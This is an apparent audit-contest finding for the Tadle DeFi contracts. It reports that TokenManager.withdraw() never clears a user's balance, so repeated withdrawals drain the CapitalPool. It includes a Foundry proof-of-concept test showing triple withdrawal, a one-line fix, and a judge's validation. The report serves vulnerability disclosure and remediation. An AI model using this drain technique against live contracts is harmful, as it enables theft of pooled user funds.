Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Unlimited withdrawals due to unupdated balance mapping

0xnbvc

Vulnerability Details

The TokenManager contract manages user token balances through the userTokenBalanceMap mapping. This mapping is crucial for tracking user balances across different token types and balance categories. The withdraw() function in TokenManager.sol allows users to withdraw their tokens:

TokenManager.sol#L137-L189

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
>> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
...
}

The critical issue is that after a successful withdrawal, the userTokenBalanceMap is not updated to reflect the withdrawn amount. This allows users to withdraw the same amount multiple times, draining the entire CapitalPool. This can be repeated for any token by simply depositing a small amount of each token present in CapitalPool, leading to a complete depletion of the CapitalPool.

Impact

  1. Users can withdraw their entire balance multiple times, depleting the CapitalPool of funds.

  2. An attacker can exploit this vulnerability to steal all tokens from the CapitalPool, even if they only deposited a small amount initially.

Proof of Concept

Add this PoC to test/PreMarkets.t.sol and run forge test --mt test_PoC_unlimited_withdrawals -vvvv:

function test_PoC_unlimited_withdrawals() public {
// Provide initial USDC tokens to the capital pool (1000) and the user (1)
deal(address(mockUSDCToken), address(capitalPool), 1000 * 1e18);
deal(address(mockUSDCToken), address(user), 1 * 1e18);
// Approve the capital pool to spend USDC tokens for withdraw()
capitalPool.approve(address(mockUSDCToken));
​
// User creates an ask offer
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
10000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
// Check that the user's USDC balance is now 0 after creating the offer
assertEq(mockUSDCToken.balanceOf(address(user)), 0);
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), 1000 * 1e18 + 1 * 1e18);
​
// User aborts the ask offer
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.abortAskOffer(stockAddr, offerAddr);
​
// Verify that the user's maker refund balance is now 1 USDC
assertEq(tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType.MakerRefund), 1 * 1e18);
​
// Attempt to withdraw the maker refund multiple times
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
​
// Check the user's USDC balance after multiple withdrawals
assertEq(mockUSDCToken.balanceOf(address(user)), 3 * 1e18);
// User has withdrawn his deposit + 2 more times, stealing from the capital pool
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), 1000 * 1e18 - 2 * 1e18);
}

Recommendations

  1. Update the userTokenBalanceMap after each successful withdrawal:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
// ... transfer logic ...
​
// Update the balance mapping
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
​
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.